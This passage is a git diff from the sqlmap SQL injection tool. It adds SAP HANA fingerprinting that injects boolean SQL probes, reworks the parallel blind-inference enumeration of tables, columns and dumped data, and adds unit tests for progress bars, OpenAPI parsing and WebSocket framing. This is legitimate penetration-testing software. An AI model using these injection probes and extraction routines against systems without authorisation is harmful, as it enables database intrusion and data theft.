+from lib.core.data import logger
+from lib.core.enums import DBMS
+from lib.core.session import setDbms
+from lib.core.settings import HANA_ALIASES
+from lib.request import inject
+from plugins.generic.fingerprint import Fingerprint as GenericFingerprint
+
+class Fingerprint(GenericFingerprint):
+ def __init__(self):
+ GenericFingerprint.__init__(self, DBMS.HANA)
+
+ def getFingerprint(self):
+ value = ""
+ wsOsFp = Format.getOs("web server", kb.headersFp)
+
+ if wsOsFp:
+ value += "%s\n" % wsOsFp
+
+ if kb.data.banner:
+ dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp)
+
+ if dbmsOsFp:
+ value += "%s\n" % dbmsOsFp
+
+ value += "back-end DBMS: "
+
+ if not conf.extensiveFp:
+ value += DBMS.HANA
+ return value
+
+ actVer = Format.getDbms()
+ blank = " " * 15
+ value += "active fingerprint: %s" % actVer
+
+ if kb.bannerFp:
+ banVer = kb.bannerFp.get("dbmsVersion")
+
+ if banVer:
+ banVer = Format.getDbms([banVer])
+ value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer)
+
+ htmlErrorFp = Format.getErrorParsedDBMSes()
+
+ if htmlErrorFp:
+ value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp)
+
+ return value
+
+ def checkDbms(self):
+ if not conf.extensiveFp and Backend.isDbmsWithin(HANA_ALIASES):
+ setDbms(DBMS.HANA)
+
+ self.getBanner()
+
+ return True
+
+ infoMsg = "testing %s" % DBMS.HANA
+ logger.info(infoMsg)
+
+ result = inject.checkBooleanExpression("MAP(1,1,'[RANDSTR1]','[RANDSTR2]')='[RANDSTR1]'")
+
+ if result:
+ infoMsg = "confirming %s" % DBMS.HANA
+ logger.info(infoMsg)
+
+ result = inject.checkBooleanExpression("(SELECT CURRENT_SCHEMA FROM DUMMY) IS NOT NULL")
+
+ if not result:
+ warnMsg = "the back-end DBMS is not %s" % DBMS.HANA
+ logger.warning(warnMsg)
+
+ return False
+
+ setDbms(DBMS.HANA)
+
+ self.getBanner()
+
+ return True
+ else:
+ warnMsg = "the back-end DBMS is not %s" % DBMS.HANA
+ logger.warning(warnMsg)
+
+ return False
diff --git a/plugins/dbms/hana/syntax.py b/plugins/dbms/hana/syntax.py
new file mode 100644
index 00000000000..17a0a02c257
--- /dev/null
+++ b/plugins/dbms/hana/syntax.py
@@ -0,0 +1,18 @@
+#!/usr/bin/env python
+
+"""
+Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
+See the file 'LICENSE' for copying permission
+"""
+
+from plugins.generic.syntax import Syntax as GenericSyntax
+
+class Syntax(GenericSyntax):
+ @staticmethod
+ def escape(expression, quote=True):
+ """
+ >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT 'abcdefgh' FROM foobar"
+ True
+ """
+
+ return expression
diff --git a/plugins/dbms/hana/takeover.py b/plugins/dbms/hana/takeover.py
new file mode 100644
index 00000000000..b21c4f7e858
--- /dev/null
+++ b/plugins/dbms/hana/takeover.py
@@ -0,0 +1,28 @@
+#!/usr/bin/env python
+
+"""
+Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
+See the file 'LICENSE' for copying permission
+"""
+
+from lib.core.exception import SqlmapUnsupportedFeatureException
+from plugins.generic.takeover import Takeover as GenericTakeover
+
+class Takeover(GenericTakeover):
+ def osCmd(self):
+ errMsg = "on SAP HANA it is not possible to execute commands"
+ raise SqlmapUnsupportedFeatureException(errMsg)
+
+ def osShell(self):
+ errMsg = "on SAP HANA it is not possible to execute commands"
+ raise SqlmapUnsupportedFeatureException(errMsg)
+
+ def osPwn(self):
+ errMsg = "on SAP HANA it is not possible to establish an "
+ errMsg += "out-of-band connection"
+ raise SqlmapUnsupportedFeatureException(errMsg)
+
+ def osSmb(self):
+ errMsg = "on SAP HANA it is not possible to establish an "
+ errMsg += "out-of-band connection"
+ raise SqlmapUnsupportedFeatureException(errMsg)
diff --git a/plugins/generic/databases.py b/plugins/generic/databases.py
index c439863b9c0..40cea0743a0 100644
--- a/plugins/generic/databases.py
+++ b/plugins/generic/databases.py
@@ -403,12 +403,13 @@ def getTables(self, bruteForce=None):
# Value-parallel, prediction-assisted name enumeration for the DBMSes using the
# generic ", " blind template. Retrieves whole names concurrently (one per
- # worker, each decoded sequentially so wordlist prediction applies). Used only with
- # '--threads' (like getColumns below); single-thread stays on the classic getValue loop,
- # which still gets predictive inference via getPartRun. The special templates stay serial.
+ # worker, each decoded sequentially so wordlist prediction applies). Used with '--threads'
+ # and under '--eta' (one whole-job bar/ETA) per valueParallelEligible(); plain single-thread
+ # stays on the classic getValue loop, which still gets predictive inference via getPartRun.
+ # The special templates stay serial.
genericTemplate = Backend.getIdentifiedDbms() not in (DBMS.SYBASE, DBMS.MAXDB, DBMS.ACCESS, DBMS.MCKOI, DBMS.EXTREMEDB, DBMS.SQLITE, DBMS.FIREBIRD, DBMS.HSQLDB, DBMS.INFORMIX, DBMS.FRONTBASE, DBMS.VIRTUOSO, DBMS.SPANNER)
- if genericTemplate and conf.threads > 1 and isTechniqueAvailable(PAYLOAD.TECHNIQUE.BOOLEAN):
+ if genericTemplate and inject.valueParallelEligible():
for table in (inject._threadedInferenceValues(lambda index: _query % (unsafeSQLIdentificatorNaming(db), index), indexRange, context="Tables") or []):
if not isNoneValue(table):
kb.hintValue = table
@@ -653,7 +654,7 @@ def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMod
query = rootQuery.inband.query % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db), unsafeSQLIdentificatorNaming(conf.db))
query += condQuery
- elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE, DBMS.MIMERSQL, DBMS.SNOWFLAKE):
+ elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE, DBMS.MIMERSQL, DBMS.SNOWFLAKE, DBMS.HANA):
query = rootQuery.inband.query % (unsafeSQLIdentificatorNaming(tbl.upper()), unsafeSQLIdentificatorNaming(conf.db.upper()))
query += condQuery
@@ -899,9 +900,11 @@ def columnNameQuery(index):
# Value-parallel column-NAME enumeration: the same axis/mechanism as getTables (one name per
# worker, decoded sequentially - no length probe, predictive inference applies, names stream
- # live). Serial fallback for single-thread and when also fetching per-column comments.
+ # live, and under '--eta' a single whole-job bar/ETA is drawn). Eligibility is shared via
+ # valueParallelEligible(); serial fallback only when also fetching per-column comments (those
+ # need an extra per-column query).
columnNames = None
- if conf.threads > 1 and not conf.getComments and isTechniqueAvailable(PAYLOAD.TECHNIQUE.BOOLEAN):
+ if not conf.getComments and inject.valueParallelEligible():
columnNames = inject._threadedInferenceValues(columnNameQuery, indexList, context="Columns")
for position, index in enumerate(indexList):
diff --git a/plugins/generic/entries.py b/plugins/generic/entries.py
index 568a0eb531f..4e8ef5a7d96 100644
--- a/plugins/generic/entries.py
+++ b/plugins/generic/entries.py
@@ -444,9 +444,11 @@ def cellQuery(column, index):
# value's characters across threads) and the per-column Huffman model + low-cardinality
# guessing engage under concurrency. Used for the boolean channel with '--threads', and
# for the HTTP/2 timeless oracle (its per-thread connections make concurrency safe and
- # deterministic - unlike classic time-based, whose char-parallel loop interleaves its
- # per-thread output). Single-thread and classic time-based keep the char-parallel loop.
- if conf.threads > 1 and not conf.dnsDomain and (isTechniqueAvailable(PAYLOAD.TECHNIQUE.BOOLEAN) or kb.get("timeless") is not None):
+ # deterministic). Also used under '--eta' - including single-threaded time-based, the
+ # slowest channel - to drive one whole-job progress bar/ETA (how long the dump takes)
+ # instead of a per-cell counter. Eligibility (channel x threads/eta) is valueParallelEligible();
+ # '--dns-domain' keeps the classic loop (its OOB fast path bypasses bisection).
+ if not conf.dnsDomain and inject.valueParallelEligible():
# One value-parallel pass over every (non-empty) cell, so there is a single
# thread pool and values stream live as they complete - out of order, exactly
# like the error/union dumps - instead of a silent progress counter.
diff --git a/sqlmap.py b/sqlmap.py
index a54f97e38af..7a4df6b91bd 100755
--- a/sqlmap.py
+++ b/sqlmap.py
@@ -432,11 +432,6 @@ def main():
logger.critical(errMsg)
raise SystemExit
- elif all(_ in excMsg for _ in ("ntlm", "socket.error, err", "SyntaxError")):
- errMsg = "wrong initialization of 'python-ntlm' detected (using Python2 syntax)"
- logger.critical(errMsg)
- raise SystemExit
-
elif all(_ in excMsg for _ in ("drda", "to_bytes")):
errMsg = "wrong initialization of 'drda' detected (using Python3 syntax)"
logger.critical(errMsg)
@@ -518,12 +513,6 @@ def main():
logger.critical(errMsg)
raise SystemExit
- elif all(_ in excMsg for _ in ("HTTPNtlmAuthHandler", "'str' object has no attribute 'decode'")):
- errMsg = "package 'python-ntlm' has a known compatibility issue with the "
- errMsg += "Python 3 (Reference: 'https://github.com/mullender/python-ntlm/pull/61')"
- logger.critical(errMsg)
- raise SystemExit
-
elif "'DictObject' object has no attribute '" in excMsg and all(_ in errMsg for _ in ("(fingerprinted)", "(identified)")):
errMsg = "there has been a problem in enumeration. "
errMsg += "Because of a considerable chance of false-positive case "
diff --git a/tests/test_agent.py b/tests/test_agent.py
index 203e2789691..211fbb7fd8a 100644
--- a/tests/test_agent.py
+++ b/tests/test_agent.py
@@ -94,6 +94,7 @@
"PostgreSQL": "COALESCE",
"Presto": "COALESCE",
"Raima Database Manager": "IFNULL",
+ "SAP HANA": "IFNULL",
"SAP MaxDB": "VALUE",
"SQLite": "COALESCE",
"Snowflake": "NVL",
@@ -115,6 +116,7 @@
"Oracle": "RAWTOHEX(",
"PostgreSQL": "ENCODE(",
"Presto": "TO_HEX(",
+ "SAP HANA": "BINTOHEX(",
"SAP MaxDB": "HEX(",
"SQLite": "HEX(",
"Spanner": "TO_HEX(",
diff --git a/tests/test_openapi.py b/tests/test_openapi.py
index 40c8cd9305a..f5ed80b464a 100644
--- a/tests/test_openapi.py
+++ b/tests/test_openapi.py
@@ -134,6 +134,25 @@ def test_header_and_cookie_params_are_injection_marked(self):
self.assertEqual(headers["X-Api"], "k" + MARK)
self.assertEqual(headers["Cookie"], "sess=v" + MARK)
+ def test_tag_filter_restricts_operations(self):
+ # '--openapi-tags' keeps only operations declaring at least one requested tag; untagged
+ # operations are dropped when a filter is active
+ spec = {"openapi": "3.0.0", "servers": [{"url": "https://api.test"}], "paths": {
+ "/users/{id}": {"get": {"tags": ["users"], "parameters": [{"name": "id", "in": "path", "schema": {"type": "integer"}}]}},
+ "/admin": {"post": {"tags": ["admin"], "parameters": [{"name": "q", "in": "query", "schema": {"type": "string"}}]}},
+ "/ping": {"get": {"parameters": [{"name": "x", "in": "query", "schema": {"type": "string"}}]}}}}
+ content = json.dumps(spec)
+
+ self.assertEqual(len(openApiTargets(content)), 3) # no filter -> everything
+ self.assertEqual(len(openApiTargets(content, tags=["nope"])), 0) # no match -> nothing (incl. untagged)
+
+ users = openApiTargets(content, tags=["users"])
+ self.assertEqual(len(users), 1)
+ self.assertIn("/users/", users[0][0])
+
+ both = openApiTargets(content, tags=["users", "admin"]) # union of tags
+ self.assertEqual(sorted(_[1] for _ in both), ["GET", "POST"])
+
# --- graceful degradation: a broken/poorly-defined spec must never crash the parser ---
def test_malformed_raises_valueerror(self):
diff --git a/tests/test_option.py b/tests/test_option.py
index b869a83d2ab..11f4d8bdfd1 100644
--- a/tests/test_option.py
+++ b/tests/test_option.py
@@ -37,7 +37,6 @@
from lib.core.settings import MAX_CONNECT_RETRIES
from lib.core.exception import SqlmapFilePathException
from lib.core.exception import SqlmapGenericException
-from lib.core.exception import SqlmapMissingDependence
from lib.core.exception import SqlmapMissingMandatoryOptionException
from lib.core.exception import SqlmapSyntaxException
from lib.core.exception import SqlmapSystemException
@@ -1491,12 +1490,9 @@ def test_ntlm_credentials_parsed(self):
conf.authFile = None
conf.authUsername = None
conf.authPassword = None
- # The python-ntlm handler module is optional; credential parsing happens
- # before the handler import, so the parsed creds are set regardless.
- try:
- option._setHTTPAuthentication()
- except SqlmapMissingDependence:
- pass
+ # The NTLM handler is now native (lib/request/ntlm.py), so no optional
+ # dependency is involved and credential parsing must succeed outright.
+ option._setHTTPAuthentication()
self.assertEqual(conf.authUsername, "DOMAIN\\user")
self.assertEqual(conf.authPassword, "pa:ss")
diff --git a/tests/test_progress.py b/tests/test_progress.py
index dbc007f0162..5690763d1f5 100644
--- a/tests/test_progress.py
+++ b/tests/test_progress.py
@@ -56,7 +56,9 @@ def test_convert_seconds(self):
def test_progress_draws_eta_after_second_call(self):
captured = []
real = progress_mod.dataToStdout
+ realTty = progress_mod.IS_TTY
progress_mod.dataToStdout = lambda data, *a, **k: captured.append(data)
+ progress_mod.IS_TTY = True # draw() only animates on a terminal
try:
pb = ProgressBar(0, 10, 78)
pb.progress(0) # first call only seeds the timer (eta None)
@@ -64,6 +66,7 @@ def test_progress_draws_eta_after_second_call(self):
pb.progress(5) # second call computes and draws a real ETA
finally:
progress_mod.dataToStdout = real
+ progress_mod.IS_TTY = realTty
self.assertTrue(captured, msg="progress() never wrote to stdout")
last = captured[-1]
@@ -73,6 +76,134 @@ def test_progress_draws_eta_after_second_call(self):
self.assertTrue(re.search(r"\(ETA \d{2}:\d{2}\)", last),
msg="ETA token missing an mm:ss timer: %r" % last)
+ def test_eta_available_from_first_completed_item(self):
+ captured = []
+ real = progress_mod.dataToStdout
+ realTty = progress_mod.IS_TTY
+ progress_mod.dataToStdout = lambda data, *a, **k: captured.append(data)
+ progress_mod.IS_TTY = True
+ try:
+ pb = ProgressBar(0, 5, 78)
+ pb._start = pb._lastTime = time.time() - 2.0 # one item took ~2s -> estimate must appear now, at 1/5
+ pb.progress(1)
+ finally:
+ progress_mod.dataToStdout = real
+ progress_mod.IS_TTY = realTty
+
+ last = captured[-1]
+ self.assertNotIn("??:??", last, msg="no ETA at the first item: %r" % last)
+ m = re.search(r"\(ETA (\d{2}):(\d{2})\)", last)
+ secs = int(m.group(1)) * 60 + int(m.group(2))
+ self.assertTrue(7 <= secs <= 9, msg="ETA not ~8s (2s/item x 4 remaining): %r" % last) # not the 2x-optimistic ~4s
+
+ def test_eta_reflects_remaining_item_count(self):
+ # at a constant 10s/item pace: 1/3 must estimate the 2 items left (~20s), 2/3 the 1 left (~10s) -
+ # i.e. (max - done) items, not just the current one. Fresh bars so each is a first (unsmoothed) estimate.
+ captured = []
+ real = progress_mod.dataToStdout
+ realTty = progress_mod.IS_TTY
+ progress_mod.dataToStdout = lambda data, *a, **k: captured.append(data)
+ progress_mod.IS_TTY = True
+
+ def drawnEta():
+ m = re.search(r"\(ETA (\d{2}):(\d{2})\)", captured[-1])
+ self.assertTrue(m, msg="no ETA drawn: %r" % captured[-1])
+ return int(m.group(1)) * 60 + int(m.group(2))
+
+ try:
+ a = ProgressBar(0, 3, 78)
+ a._start = time.time() - 10.0 # 1 done in 10s -> 10s/item, 2 remaining -> ~20s
+ a.progress(1)
+ eta1 = drawnEta()
+
+ b = ProgressBar(0, 3, 78)
+ b._start = time.time() - 20.0 # 2 done in 20s -> 10s/item, 1 remaining -> ~10s
+ b.progress(2)
+ eta2 = drawnEta()
+ finally:
+ progress_mod.dataToStdout = real
+ progress_mod.IS_TTY = realTty
+
+ self.assertTrue(18 <= eta1 <= 22, msg="1/3 should estimate 2 remaining (~20s): %ds" % eta1)
+ self.assertTrue(8 <= eta2 <= 12, msg="2/3 should estimate 1 remaining (~10s): %ds" % eta2)
+
+ def test_new_estimate_is_eased_not_snapped(self):
+ # when a fresh estimate is far from the value currently on screen, the drawn ETA must land
+ # between the two (smoothed), not snap straight to the new target
+ captured = []
+ real = progress_mod.dataToStdout
+ realTty = progress_mod.IS_TTY
+ progress_mod.dataToStdout = lambda data, *a, **k: captured.append(data)
+ progress_mod.IS_TTY = True
+ try:
+ pb = ProgressBar(0, 10, 78)
+ pb._eta = 8.0 # currently showing ~8s...
+ pb._etaAt = time.time()
+ pb._start = time.time() - 2.0 # ...but the fresh target is (2/1)*(10-1) = 18s
+ pb.progress(1)
+ finally:
+ progress_mod.dataToStdout = real
+ progress_mod.IS_TTY = realTty
+
+ m = re.search(r"\(ETA (\d{2}):(\d{2})\)", captured[-1])
+ secs = int(m.group(1)) * 60 + int(m.group(2))
+ self.assertTrue(10 <= secs <= 16, msg="ETA snapped instead of easing between 8 and 18: %ds" % secs)
+
+ def test_tick_counts_down_from_stored_eta(self):
+ captured = []
+ real = progress_mod.dataToStdout
+ realTty = progress_mod.IS_TTY
+ progress_mod.dataToStdout = lambda data, *a, **k: captured.append(data)
+ progress_mod.IS_TTY = True
+ try:
+ pb = ProgressBar(0, 10, 78)
+ pb.update(5)
+ pb._eta = 100 # a 100s estimate...
+ pb._etaAt = time.time() - 30 # ...taken 30s ago -> tick() must show ~70s
+ pb.tick()
+ finally:
+ progress_mod.dataToStdout = real
+ progress_mod.IS_TTY = realTty
+
+ m = re.search(r"\(ETA (\d{2}):(\d{2})\)", captured[-1])
+ self.assertTrue(m, msg="no mm:ss ETA drawn: %r" % captured[-1])
+ secs = int(m.group(1)) * 60 + int(m.group(2))
+ self.assertTrue(66 <= secs <= 71, msg="ETA not decremented to ~70s: %r" % captured[-1])
+
+ def test_tick_clamps_at_zero_when_overdue(self):
+ captured = []
+ real = progress_mod.dataToStdout
+ realTty = progress_mod.IS_TTY
+ progress_mod.dataToStdout = lambda data, *a, **k: captured.append(data)
+ progress_mod.IS_TTY = True
+ try:
+ pb = ProgressBar(0, 10, 78)
+ pb.update(5)
+ pb._eta = 5
+ pb._etaAt = time.time() - 60 # long overdue -> must clamp to 00:00, never negative
+ pb.tick()
+ finally:
+ progress_mod.dataToStdout = real
+ progress_mod.IS_TTY = realTty
+
+ self.assertIn("(ETA 00:00)", captured[-1], msg=captured[-1])
+
+ def test_no_draw_when_not_tty(self):
+ captured = []
+ real = progress_mod.dataToStdout
+ realTty = progress_mod.IS_TTY
+ progress_mod.dataToStdout = lambda data, *a, **k: captured.append(data)
+ progress_mod.IS_TTY = False # piped/redirected: no animated bar should reach the stream
+ try:
+ pb = ProgressBar(0, 10, 78)
+ for i in range(1, 11):
+ pb.progress(i)
+ finally:
+ progress_mod.dataToStdout = real
+ progress_mod.IS_TTY = realTty
+
+ self.assertEqual(captured, [], msg="progress bar leaked to a non-TTY stream: %r" % captured)
+
if __name__ == "__main__":
unittest.main()
diff --git a/tests/test_techniques.py b/tests/test_techniques.py
index 6ab50de7eb5..239bc33f855 100644
--- a/tests/test_techniques.py
+++ b/tests/test_techniques.py
@@ -48,6 +48,7 @@
from lib.core.unescaper import unescaper
from lib.request.connect import Connect
from lib.request.connect import Connect as Request
+from lib.request import inject
from lib.utils.hashdb import HashDB
import lib.techniques.union.use as uu
@@ -1516,6 +1517,47 @@ def test_non_string_char_ignored(self):
self.assertEqual(kb.uChar, "SENTINEL")
+class TestValueParallelEligibility(unittest.TestCase):
+ """
+ inject.valueParallelEligible() picks the value-parallel path (job-level '--eta' bar / concurrency).
+ Safety invariant under test: classic time-based must never run concurrently (interfering SLEEP
+ measurements), so it qualifies only single-threaded under '--eta'; a concurrency-safe channel
+ (boolean or the timeless oracle) may run under either '--threads' or '--eta'.
+ """
+
+ def setUp(self):
+ self._avail = set()
+ self._realAvail = inject.isTechniqueAvailable
+ inject.isTechniqueAvailable = lambda t: t in self._avail
+ self._saved = (conf.threads, conf.eta, kb.get("timeless"))
+
+ def tearDown(self):
+ inject.isTechniqueAvailable = self._realAvail
+ conf.threads, conf.eta, kb.timeless = self._saved
+
+ def _elig(self, threads, eta, techniques, timeless=None):
+ conf.threads, conf.eta, kb.timeless = threads, eta, timeless
+ self._avail = set(techniques)
+ return inject.valueParallelEligible()
+
+ def test_single_thread_eta_time_based_qualifies(self):
+ self.assertTrue(self._elig(1, True, {PAYLOAD.TECHNIQUE.TIME}))
+
+ def test_multi_thread_time_based_never_parallel(self):
+ self.assertFalse(self._elig(8, True, {PAYLOAD.TECHNIQUE.TIME}))
+ self.assertFalse(self._elig(8, False, {PAYLOAD.TECHNIQUE.TIME}))
+
+ def test_boolean_qualifies_under_threads_or_eta(self):
+ self.assertTrue(self._elig(8, False, {PAYLOAD.TECHNIQUE.BOOLEAN}))
+ self.assertTrue(self._elig(1, True, {PAYLOAD.TECHNIQUE.BOOLEAN}))
+
+ def test_plain_single_thread_no_eta_stays_classic(self):
+ self.assertFalse(self._elig(1, False, {PAYLOAD.TECHNIQUE.BOOLEAN}))
+
+ def test_timeless_is_concurrency_safe(self):
+ self.assertTrue(self._elig(8, True, {PAYLOAD.TECHNIQUE.TIME}, timeless=object()))
+
+
if __name__ == "__main__":
unittest.main(verbosity=2)
diff --git a/tests/test_websocket.py b/tests/test_websocket.py
new file mode 100644
index 00000000000..6091229a621
--- /dev/null
+++ b/tests/test_websocket.py
@@ -0,0 +1,138 @@
+#!/usr/bin/env python
+
+"""
+Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
+See the file 'LICENSE' for copying permission
+
+Unit coverage for the PURE (network-free) parts of the native WebSocket client in
+lib/request/websocket.py: the RFC 6455 accept-key computation, client frame masking,
+the length-encoding boundaries (7/16/64-bit), fragment reassembly and control-frame
+handling. No socket is opened - frames are fed through a primed buffer and a fake sink.
+
+stdlib unittest only (no pytest / no pip); works on Python 2.7 and 3.x.
+"""
+
+import base64
+import hashlib
+import os
+import struct
+import sys
+import unittest
+
+sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
+from _testutils import bootstrap
+bootstrap()
+
+from lib.request.websocket import (
+ WebSocket,
+ WebSocketConnectionClosedException,
+ WebSocketTimeoutException,
+ _GUID,
+ OPCODE_TEXT,
+ OPCODE_CONTINUATION,
+ OPCODE_PING,
+ OPCODE_CLOSE,
+)
+
+
+class _FakeSock(object):
+ """Captures everything the client sends, so masked client frames / PONGs can be inspected."""
+ def __init__(self):
+ self.sent = b""
+
+ def sendall(self, data):
+ self.sent += data
+
+ def close(self):
+ pass
+
+
+def _serverFrame(data, opcode=OPCODE_TEXT, fin=1):
+ """Build an (unmasked, server->client) frame carrying data."""
+ if not isinstance(data, bytes):
+ data = data.encode("utf-8")
+ frame = bytearray([(fin << 7) | opcode])
+ length = len(data)
+ if length < 126:
+ frame.append(length)
+ elif length < 65536:
+ frame.append(126); frame += struct.pack("!H", length)
+ else:
+ frame.append(127); frame += struct.pack("!Q", length)
+ frame += data
+ return bytes(frame)
+
+
+def _client(buffer=b""):
+ ws = WebSocket.__new__(WebSocket) # bypass connect(): no socket
+ ws.sock = _FakeSock()
+ ws.status = 101
+ ws._headers = {}
+ ws._timeout = None
+ ws._buffer = buffer
+ ws._closed = False
+ return ws
+
+
+class TestWebSocket(unittest.TestCase):
+ def test_accept_key_rfc6455_vector(self):
+ # RFC 6455 section 1.3 canonical example
+ key = "dGhlIHNhbXBsZSBub25jZQ=="
+ accept = base64.b64encode(hashlib.sha1((key + _GUID).encode("ascii")).digest()).decode("ascii")
+ self.assertEqual(accept, "s3pPLMBiTxaQ9kYGzzhZRbK+xOo=")
+
+ def test_client_frame_is_masked_and_roundtrips(self):
+ ws = _client()
+ ws._sendFrame(b"hello", OPCODE_TEXT)
+ raw = ws.sock.sent
+ self.assertEqual(bytearray(raw)[0], 0x80 | OPCODE_TEXT) # FIN + text
+ self.assertTrue(bytearray(raw)[1] & 0x80, "client frame must set the mask bit")
+
+ # feeding the client's own (masked) frame back through the parser must recover the payload
+ fin, opcode, payload = _client(raw)._recvFrame()
+ self.assertEqual((fin, opcode, bytes(payload)), (1, OPCODE_TEXT, b"hello"))
+
+ def test_length_encoding_boundaries(self):
+ for size in (125, 126, 65535, 65536):
+ ws = _client()
+ ws._sendFrame(b"A" * size, OPCODE_TEXT)
+ fin, opcode, payload = _client(ws.sock.sent)._recvFrame()
+ self.assertEqual(len(payload), size, msg="round-trip failed at length %d" % size)
+
+ def test_recv_reassembles_fragments(self):
+ buf = _serverFrame("ab", OPCODE_TEXT, fin=0) + _serverFrame("cd", OPCODE_CONTINUATION, fin=1)
+ self.assertEqual(_client(buf).recv(), "abcd")
+
+ def test_recv_answers_ping_then_returns_data(self):
+ ws = _client(_serverFrame("hi", OPCODE_PING) + _serverFrame("data", OPCODE_TEXT))
+ self.assertEqual(ws.recv(), "data")
+ # a PONG (opcode 0xA) carrying the ping payload must have been sent back
+ pong = bytearray(ws.sock.sent)
+ self.assertEqual(pong[0], 0x80 | 0xA)
+
+ def test_recv_close_raises(self):
+ ws = _client(_serverFrame(struct.pack("!H", 1000), OPCODE_CLOSE))
+ self.assertRaises(WebSocketConnectionClosedException, ws.recv)
+
+ def test_read_timeout_maps_to_ws_timeout(self):
+ import socket as _socket
+ import ssl as _ssl
+
+ class _RaisingSock(object):
+ def __init__(self, exc):
+ self.exc = exc
+ def recv(self, n):
+ raise self.exc
+
+ # both a plain socket timeout and Python 2's TLS 'read operation timed out' must surface as
+ # WebSocketTimeoutException (sqlmap's frame loop relies on it), while other SSL errors propagate
+ for exc in (_socket.timeout("timed out"), _ssl.SSLError("The read operation timed out")):
+ ws = _client(); ws.sock = _RaisingSock(exc)
+ self.assertRaises(WebSocketTimeoutException, ws.recv)
+
+ ws = _client(); ws.sock = _RaisingSock(_ssl.SSLError("decryption failed"))
+ self.assertRaises(_ssl.SSLError, ws.recv)
+
+
+if __name__ == "__main__":
+ unittest.main()